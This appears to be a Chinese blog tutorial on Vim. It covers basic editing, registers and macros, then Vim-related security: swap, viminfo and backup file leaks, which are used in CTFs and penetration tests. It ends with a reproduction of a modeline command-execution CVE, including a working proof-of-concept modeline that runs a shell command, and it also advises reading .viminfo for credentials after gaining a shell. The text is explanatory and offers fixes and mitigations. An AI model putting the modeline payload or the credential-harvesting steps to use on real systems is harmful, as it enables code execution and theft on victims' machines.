Vim 是 Linux 环境下最经典的编辑器之一。之前只知道一个
:wq,趁现在总结一些常规的使用方法再外带一下安全方向的内容。
一、常规使用
1.体系模式
Vim 的一切都围绕”模式”展开,理解模式是学会 Vim 的第一步:
| 模式 | 进入方式 | 用途 |
|---|---|---|
| Normal(普通) | 启动默认 / Esc |
导航、删除、复制、粘贴 |
| Insert(插入) | i a o 等 |
输入文本 |
| Visual(可视) | v / V / Ctrl+v |
选中字符 / 行 / 块 |
| Command(命令) | : |
执行命令 |
| Replace(替换) | R |
覆盖式输入 |
核心原则:无论身处哪个模式,按
Esc基本都能回到普通模式。普通模式是 Vim 的「家」,所有操作都从这里出发,也最终回到这里。
2. 基础移动
Vim 的移动不依赖鼠标和方向键,而是用主键盘区的字母完成。熟练之后,双手可以不离键盘完成绝大多数导航。
字符与单词
| 按键 | 作用 |
|---|---|
h j k l |
左、下、上、右 |
w / b / e |
下一个单词开头 / 上一个单词开头 / 当前或下一单词结尾 |
行内跳转
| 按键 | 作用 |
|---|---|
0 / ^ / $ |
行首 / 首个非空字符 / 行尾 |
f{char} |
行内向后查找字符 |
t{char} |
跳到字符前 |
; / , |
重复 / 反向重复上次 f t 查找 |
文件与翻页
| 按键 | 作用 |
|---|---|
gg / G / 5G |
文件头 / 文件尾 / 跳到第 5 行 |
Ctrl+d / Ctrl+u |
向下 / 向上翻半页 |
3.核心编辑操作
编辑核心操作
Vim 的编辑命令大多遵循「操作符 + 动作」的组合逻辑,例如 d 是删除,w 是一个单词,合起来 dw 就是删除一个单词。掌握这个思路后,你不需要死记大量孤立命令,而是用少量操作符和动作自由组合。
| 按键 | 作用 |
|---|---|
x |
删除光标处字符 |
dd / dw |
删除一行 / 删除一个单词 |
yy / p / P |
复制一行 / 向下粘贴 / 向上粘贴 |
u / Ctrl+r |
撤销 / 重做 |
. |
重复上一次修改(Vim 效率精髓之一) |
o / O |
下方 / 上方新开一行并进入插入模式 |
4.查找与替换
| 命令 | 作用 |
|---|---|
/{pattern} / ?{pattern} |
向下 / 向上查找 |
n / N |
下一个 / 上一个匹配 |
:%s/{old}/{new}/g |
全局替换 |
:%s/{old}/{new}/gc |
全局替换,逐个确认 |
5. 文件与窗口
| 命令 | 作用 |
|---|---|
:w / :q / :wq / :q! |
保存 / 退出 / 保存退出 / 强制退出 |
:e file |
打开另一个文件 |
:split / :vsplit |
水平 / 垂直分屏 |
Ctrl+w h/j/k/l |
在窗口间移动 |
:tabnew / gt / gT |
新建 / 下一个 / 上一个标签页 |
二、进阶用法
1.块编辑
块编辑是 Vim 最具代表性的功能之一,也是它区别于大多数编辑器的杀手级特性。普通可视模式(v)按字符或行选中,而块可视模式(Ctrl+v)选中的是一个矩形区域——可以同时操作多行的同一列位置。
Ctrl+v 进入块可视模式,选中的是一个矩形区域,而不是连续文本。这是 Vim 的杀手级功能之一。
Ctrl+v选中多行的同一列区域I在行首插入,A在行尾追加- 输入内容后按
Esc,所有选中行同时生效
适合批量加注释、对齐赋值语句、给多行末尾加逗号。
2. 宏:让 Vim 替你重复劳动
宏适合处理「对大量行做同样格式修改」这类任务,往往比正则更直观可靠。
| 命令 | 作用 |
|---|---|
qa |
开始录制到寄存器 a |
q |
结束录制 |
@a / 10@a |
回放 / 重复回放 10 次 |
3.寄存器:Vim中的剪切板
先记住一个符号:"(双引号)。在 Vim 里," 后面跟一个字符,就表示「我要用哪个寄存器」。
关于寄存器
它内置了多个「抽屉」,每次复制或删除,内容会放进不同的抽屉里。你可以指定从哪个抽屉取东西。
| 寄存器 | 怎么用 | 作用 |
|---|---|---|
"" |
默认,不用特意写 | 最近一次删除或复制的内容 |
"0 |
"0p |
最近一次复制的内容(删除不会覆盖它) |
"_ |
"_dd |
黑洞,删除的东西直接扔掉,不影响其他寄存器 |
"+ |
"+y / "+p |
系统剪贴板,能和浏览器、其他程序互通 |
"a 到 "z |
"ayy / "ap |
你自己命名的抽屉,共 26 个 |
默认寄存器 "" 会被删除覆盖,"0 只存复制内容,"_ 是垃圾桶,"+ 通系统剪贴板,"a-"z 是自己命名的抽屉。
4.标记与历史跳转:Vim中的书签和浏览记录
给某个位置起个名字(一个字母),之后随时能跳回来。
| 命令 | 作用 |
|---|---|
ma |
在当前位置打一个标记,名字叫 a |
| ``a` | 跳回标记 a 的位置 |
'a |
跳到标记 a 所在行的行首 |
除了自己打的标记,Vim 还自动维护两个很有用的标记:
| 命令 | 作用 |
|---|---|
`` |
跳回上次跳转前的位置 |
| ``.` | 跳回上次修改的位置 |
5.好用的配置设置
Vim的配置文件为~/.vimrc
1 | set number //显示行号 |
三、Vim相关漏洞
VIM泄露
在渗透测试和 CTF 中,Vim 相关的「泄漏」指的是 Vim 在使用过程中留下的持久化文件,可能直接暴露源码、历史操作甚至敏感信息。
1. swap 文件泄漏(最常见)
Vim 编辑文件时默认生成隐藏的交换文件:
1 | .filename.swp 第一次编辑 |
当 Vim 异常退出(SSH 断开、进程被 kill、服务器宕机)时,swp 不会自动删除。如果站点目录下用 vim 编辑过代码,且服务器允许访问隐藏文件,就可能被直接下载:
1 | http://target/.index.php.swp |
恢复方法:
1 | vim -r index.php # 在对应目录下恢复 |
代码审计题中,swp 恢复出的往往是「真正的」过滤逻辑源码,据此寻找绕过点。
2. viminfo 泄漏
~/.viminfo 会记录:
- 命令行历史(
:命令) - 搜索历史(可能包含敏感字符串)
- 寄存器内容(可能包含复制过的密码、token)
- 最近编辑的文件路径
拿到低权限 shell 后:
1 | cat /home/<user>/.viminfo |
3. backup 与 undofile 泄漏
需要有前置的配置
1 | set backup " 产生 filename~ |
这些文件留在 Web 目录中同样会被直接访问:
filename~/filename.orig:暴露旧版本源码(可能是修复前的漏洞版本).filename.un~:可恢复出已删除或已修改的内容
4.防御建议
- 生产环境不要直接在 Web 目录下用 vim 编辑文件
- 关闭或转移持久化文件:
1 | set nobackup |
- 服务器侧禁止访问隐藏文件,以 nginx 为例:
1 | location ~ /\. { |
- 定期清理站点目录下的
*~、*.swp、*.un~等残留文件
VIM任意命令执行漏洞
CVE-2026-34714 是一个影响 Vim 9.1.1391 至 9.2.0271 的本地命令执行漏洞,CVSS 评分 9.2。攻击者构造一个包含恶意 modeline 的普通文本文件,受害者用受影响版本的 Vim 打开后,攻击者便可在受害者权限下执行任意系统命令,无需任何额外交互。
该漏洞源于tabpanel组件在处理表达式时未正确设置P_MLE标志,导致%{expr}注入。攻击者可诱导用户打开特制文件,在无需用户交互的情况下,利用该漏洞在受害者系统上执行任意代码,获取系统控制权。
该漏洞的根本原因是Vim在渲染标签页(tabpanel)界面时,对动态表达式的处理存在逻辑错误。在Vim脚本中,
%{expr}语法用于计算表达式的值并将其插入到界面元素(如标签页标题或状态栏)中。然而,在受影响的版本中,tabpanel相关的代码路径缺少P_MLE(多行表达式或安全上下文标志)的检查机制。这使得解析器在处理特定输入时,未能区分普通文本和可执行代码。当攻击者构造包含恶意%{...}序列的文件时,Vim在打开文件并渲染界面的过程中,会自动解析并执行大括号内的Vimscript代码。由于攻击向量为本地且无需交互,一旦文件被打开(例如通过文件关联或直接打开),代码即在前台运行,导致高权限的代码执行。
复现
搭建环境
安装编译 Vim 所需的基础工具和库:
1 | sudo apt update |
获取受危害的vim版本文件
1 | git clone https://github.com/vim/vim.git |
开启+tabpanel特性
1 | ./configure --with-features=huge --enable-gui=no --enable-multibyte |
编译与检查
1 | make -j$(nproc) |
.src/vim就是受漏洞危害的vim版本执行文件
构造poc
漏洞的利用链包含两个独立缺陷的串联:
- 入口缺陷:
tabpanel选项缺少P_MLE标志,使其可以从 modeline 中注入%{expr}表达式,无需启用modelineexpr- 出口缺陷:
autocmd_add()函数缺少check_secure()检查,允许在沙箱中注册自动命令,该命令在沙箱退出后执行因此,PoC 不能直接调用
system(),因为沙箱会拦截它。正确做法是:在 modeline 中通过tabpanel表达式调用autocmd_add()注册一个SafeStateAgain自动命令,待沙箱退出后触发命令执行。
创建一个恶意文件/tmp/poc.md
1 | /* vim: set showtabpanel=2 tabpanel=%{%autocmd_add([{'event'\:'SafeStateAgain','pattern'\:'*','cmd'\:'!id>/tmp/cve_poc_result','once'\:1}])%}: |
用危险版本vim打开这个文件
由于源码目录下的 Vim 尚未安装,运行时需要显式指定 VIMRUNTIME 路径,否则会因找不到运行时文件而进入兼容模式,影响 modeline 处理:
1 | cd ~/vim |
打开后,Vim 会处理 modeline,tabpanel 表达式在沙箱中执行 autocmd_add(),注册 SafeStateAgain 自动命令。退出 Vim(:q)后,该自动命令触发,执行 id 命令并将输出写入 /tmp/cve_poc_result。
验证结果
1 | cat /tmp/cve_poc_result |
修复与缓解
官方在 v9.2.0272 中通过两处修改修复了此漏洞:给 tabpanel 加上 P_MLE 标志堵住入口,给 autocmd_add() 加上 check_secure() 堵住出口。
对于无法立即升级的环境,可采取临时缓解措施:
- 在
~/.vimrc中设置set nomodeline完全禁用 modeline - 或设置
set modelineexpr=0禁用表达式求值
需要注意的是,以 root 权限运行 Vim 默认不受影响,因为 root 需要显式配置 set modeline 才会启用该功能。